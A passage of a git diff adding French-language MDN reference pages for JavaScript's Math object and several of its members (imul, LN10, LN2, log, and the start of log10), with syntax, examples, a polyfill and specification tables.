+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le résultat de la multiplication sur 32 bits des valeurs passées en argument (comme en C).</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Math.imul()</code> permet d'effectuer une multiplication rapide pour des entiers sur 32 bits avec une sémantique proche du langage C. Cela est utile pour des aspects de performance, notamment pour des projets comme <a href="/fr/docs/Mozilla/Projects/Emscripten">Emscripten</a>. <code>imul() </code>étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>imul</code>()</code> et non pas la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur). Attention à l'utilisation de nombres flottants avec <code>Math.imul()</code> car cela implique une opération de conversion des flottants vers les entiers pour la multiplication puis une opération de conversion du résultat en flottant. Dans la pratique, <code>Math</code><code>.imul()</code> est notamment pertinent pour asm.js.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.imul()">Utiliser <code>Math.imul()</code></h3>
+
+<pre class="brush: js">Math.imul(2, 4);          // 8
+Math.imul(-1, 8);         //-8
+Math.imul(-2, -2);        // 4
+Math.imul(0xffffffff, 5); //-5
+Math.imul(0xfffffffe, 5); //-10
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :</p>
+
+<pre class="brush: js">Math.imul = Math.imul || function(a, b) {
+  var ah  = (a &gt;&gt;&gt; 16) &amp; 0xffff;
+  var al = a &amp; 0xffff;
+  var bh  = (b &gt;&gt;&gt; 16) &amp; 0xffff;
+  var bl = b &amp; 0xffff;
+  // Le décalage par 0 rétablit le signe de la partie haute
+  // le |0 final convertit la valeur non-signée en une valeur signée
+  return ((al * bl) + (((ah * bl + al * bh) &lt;&lt; 16) &gt;&gt;&gt; 0)|0);
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.imul")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/index.html b/files/fr/web/javascript/reference/objets_globaux/math/index.html
new file mode 100644
index 0000000000..231f165879
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/index.html
@@ -0,0 +1,173 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Objets_globaux/Math
+tags:
+  - JavaScript
+  - Math
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Math</code></strong> est un objet natif dont les méthodes et propriétés permettent l'utilisation de constantes et fonctions mathématiques. Cet objet n'est pas une fonction.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> <code>Math</code> fonctionne avec le type {{jsxref("Number")}}. Il ne fonctionne pas avec les grands entiers/{{jsxref("BigInt")}}.</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Contrairement aux autres objets globaux, <code>Math</code> n'est pas un constructeur. Toutes les propriétés et les méthodes de <code>Math</code> sont statiques (pour éventuellement étendre cette API, ce qui est fortement déconseillé, on n'utilisera donc pas <code>Math.prototype</code>).</p>
+
+<p>Pour accéder à la constante PI, on utilise <code>Math.PI</code>.<br>
+ Pour accéder à la fonction <em>sinus</em>, on utilise <code>Math.sin(x)</code> où <code>x</code> est l'argument de cette méthode.</p>
+
+<p>Les constantes sont définies avec la précision des nombres réels en JavaScript.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>Nombre d'Euler, la base des logarithmes naturels, environ 2,718.</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>Logarithme naturel de 2, environ 0,693.</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>Logarithme naturel de 10, environ 2,302.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>Logarithme de base 2 de E, environ 1,442.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>Logarithme de base 10 de E, environ 0,434.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>Quotient de la circonférence d'un cercle par son diamètre, environ 3,14159.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>Racine carrée de 1/2 ; équivalent de 1 sur la racine carrée de 2, environ 0,707.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>Racine carrée de 2, environ 1,414.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<div class="note">Les fonctions trigonométriques (<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>) acceptent ou retournent des angles en radians.<br>
+Pour convertir des degrés en radians, multipliez la valeur en degrés par (<code>Math.PI / 180</code>).<br>
+Pour passer des radians en degrés, divisez la valeur en radians par (<code>Math.PI / 180</code>).</div>
+
+<div class="note">La précision des fonctions mathématiques dépend notamment de l'implémentation. Cela signifie que différents navigateurs peuvent fournir des résultats différents. On peut même avoir un même moteur JavaScript qui, sur des architectures et/ou des systèmes d'exploitation différents, fournit des résultats différents.</div>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>Retourne la valeur absolue d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>Retourne l'arc cosinus d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/acosh", "Math.acosh(x)")}}</dt>
+ <dd>Retourne l'arc cosinus hyperbolique d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>Retourne l'arc sinus d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/asinh", "Math.asinh(x)")}}</dt>
+ <dd>Retourne l'arc sinus hyperbolique d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>Retourne l'arc tangente d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/atanh", "Math.atanh(x)")}}</dt>
+ <dd>Retourne l'arc tangente hyperbolique d'un nombre</dd>
+ <dt>{{jsxref("Objets_globaux/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>Retourne l'arc tangente du quotient de ses arguments.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/cbrt", "Math.cbrt(x)")}}</dt>
+ <dd>Renvoie la racine cubique d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>Retourne le plus petit entier supérieur ou égal à la valeur passée en paramètre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/clz32", "Math.clz32(x)")}}</dt>
+ <dd>Renvoie le nombre de zéros qui préfixent un entier sur 32 bits.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>Retourne le cosinus d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/cosh", "Math.cosh(x)")}}</dt>
+ <dd>Renvoie le cosinus hyperbolique d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>Renvoie l'exponentielle d'un nombre (soit E<sup>nombre</sup>) avec E la constante d'Euler (2,718...).</dd>
+ <dt>{{jsxref("Objets_globaux/Math/expm1", "Math.expm1(x)")}}</dt>
+ <dd>Renvoie le résultat de 1 moins l'exponentielle d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>Retourne le plus grand entier inférieur ou égal à la valeur passée en paramètre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/fround", "Math.fround(x)")}}</dt>
+ <dd>Renvoie le nombre flottant exprimé sur 32 bits le plus proche de l'argument.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/hypot", "Math.hypot([x[,y[,…]]])")}}</dt>
+ <dd>Retourne la racine carré de la somme des carrés des arguments.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/imul", "Math.imul(x, y)")}}</dt>
+ <dd>Retourne le résultat de la multiplication d'entiers sur 32 bits.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/log", "Math.log(x)")}}</dt>
+ <dd>Retourne le logarithme naturel (log<sub>e</sub>) d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/log1p", "Math.log1p(x)")}}</dt>
+ <dd>Retourne le logarithme naturel de 1 + un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/log10", "Math.log10(x)")}}</dt>
+ <dd>Retourne le logarithme en base 10 d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/log2", "Math.log2(x)")}}</dt>
+ <dd>Retourne le logarithme en base 2 d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/max", "Math.max([x[,y[,…]]])")}}</dt>
+ <dd>Retourne la plus grande valeur d'une liste de nombres.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/min", "Math.min([x[,y[,…]]])")}}</dt>
+ <dd>Retourne la plus petite valeur d'une liste de nombres.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/pow", "Math.pow(x,y)")}}</dt>
+ <dd>Retourne le calcul de x à la puissance y (x correspond à la base et y à l'exposant).</dd>
+ <dt>{{jsxref("Objets_globaux/Math/random", "Math.random()")}}</dt>
+ <dd>Retourne un nombre pseudo-aléatoire compris entre 0 (inclus) et 1 (exclu).</dd>
+ <dt>{{jsxref("Objets_globaux/Math/round", "Math.round(x)")}}</dt>
+ <dd>Retourne l'arrondi d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/sign", "Math.sign(x)")}}</dt>
+ <dd>Retourne le signe d'un nombre, indiquant s'il est positif, négatif ou égal à zéro.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>Retourne le sinus d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/sinh", "Math.sinh(x)")}}</dt>
+ <dd>Retourne le sinus hyperbolique d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>Retourne la racine carrée d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>Retourne la tangente d'un nombre.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/tanh", "Math.tanh(x)")}}</dt>
+ <dd>Retourne la tangente hyperbolique d'un nombre</dd>
+ <dt><code>Math.toSource()</code> {{Non-standard_inline}}</dt>
+ <dd>Renvoie la chaîne de caractères <code>"Math"</code>.</dd>
+ <dt>{{jsxref("Objets_globaux/Math/trunc", "Math.trunc(x)")}}</dt>
+ <dd>Retourne la partie entière d'un nombre (la partie décimale est retirée).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nouvelles méthodes ajoutées : {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} et {{jsxref("Math.clz32()", "clz32()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html
new file mode 100644
index 0000000000..e9eae9acc2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Reference/Objets_globaux/Math/LN10
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.LN10</strong></code> représente la valeur du logarithme naturel de 10, environ 2.302 :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln10.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>LN10</code> est une propriété statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.LN10</code>, et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.LN10">Utiliser <code>Math.LN10</code></h3>
+
+<p>La fonction suivante renvoie le logarithme naturel de 10 :</p>
+
+<pre class="brush:js">function getNatLog10() {
+   return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN10")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html
new file mode 100644
index 0000000000..89db2712fd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Reference/Objets_globaux/Math/LN2
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.LN2</strong></code> représente le logarithme naturel de 2, environ 0.693:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln2.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>LN2</code> est une propriété statique de l'objet <code>Math</code>, il doit toujours être utilisé avec la syntaxe <code>Math.LN2</code>, et non pas être utilisé comme la propriété d'un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.LN2">Utiliser <code>Math.LN2</code></h3>
+
+<p>La fonction suivante renvoie le logarithme en base 2 d'un nombre en utilisant la valeur de <code>Math.LN2</code> :</p>
+
+<pre class="brush:js">function getLog2(x) {
+  return Math.log(x) / Math.LN2;
+}
+
+getLog2(256); // 8</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN2")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log/index.html
new file mode 100644
index 0000000000..177215b74b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log/index.html
@@ -0,0 +1,107 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/log
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.log()</strong></code> renvoie le logarithme naturel (aussi appelé logarithme népérien) d'un nombre, défini par :</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.log(<em>x</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le logarithme naturelle de la valeur passée en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui est renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la valeur de l'argument est négative, la valeur renvoyée sera {{jsxref("NaN")}}. Si la valeur de l'argument est <code>0</code>, la valeur de retour sera {{jsxref("Number.NEGATIVE_INFINITY", "-Infinity")}}.</p>
+
+<p><code>log()</code> est une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.log()</code>, elle ne doit pas être utilisée à partir d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur). Si on veut utiliser les constantes données par les logarithmes naturels de 2 ou 10, on pourra utiliser les constantes {{jsxref("Math.LN2")}} ou {{jsxref("Math.LN10")}}. De même pour les logarithmes en base 2 ou en base 10, on pourra utiliser {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.log()">Utiliser <code>Math.log()</code></h3>
+
+<pre class="brush:js">Math.log(-1); // NaN, valeur en dehors de l'intervalle de définition
+Math.log(0);  // -Infinity
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046</pre>
+
+<h3 id="Utiliser_Math.log_pour_construire_un_logarithme_sur_une_autre_base">Utiliser <code>Math.log</code> pour construire un logarithme sur une autre base</h3>
+
+<p>La fonction suivante renvoie le logarithme de <code>y</code> en base <code>x</code> (c'est-à-dire log<sub>x</sub> y):</p>
+
+<pre class="brush:js">function getBaseLog(x, y) {
+    return Math.log(y) / Math.log(x);
+}</pre>
+
+<p>Si on exécute <code>getBaseLog(10, 1000)</code>, on obtiendra <code>2.9999999999999996</code> en raison de l'arrondi du à la représentation en nombre flottant (le résultat exact étant 3).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.log")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html
new file mode 100644
index 0000000000..724247091b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.log10()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/log10
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log10
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.log10()</strong></code> renvoie le logarithme en base 10 d'un nombre, donné par la formule :</p>
+
+<p><math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log10</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>l'unique  </mtext><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mn>10</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log10.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.log10(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le logarithme en base 10 du nombre passé en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
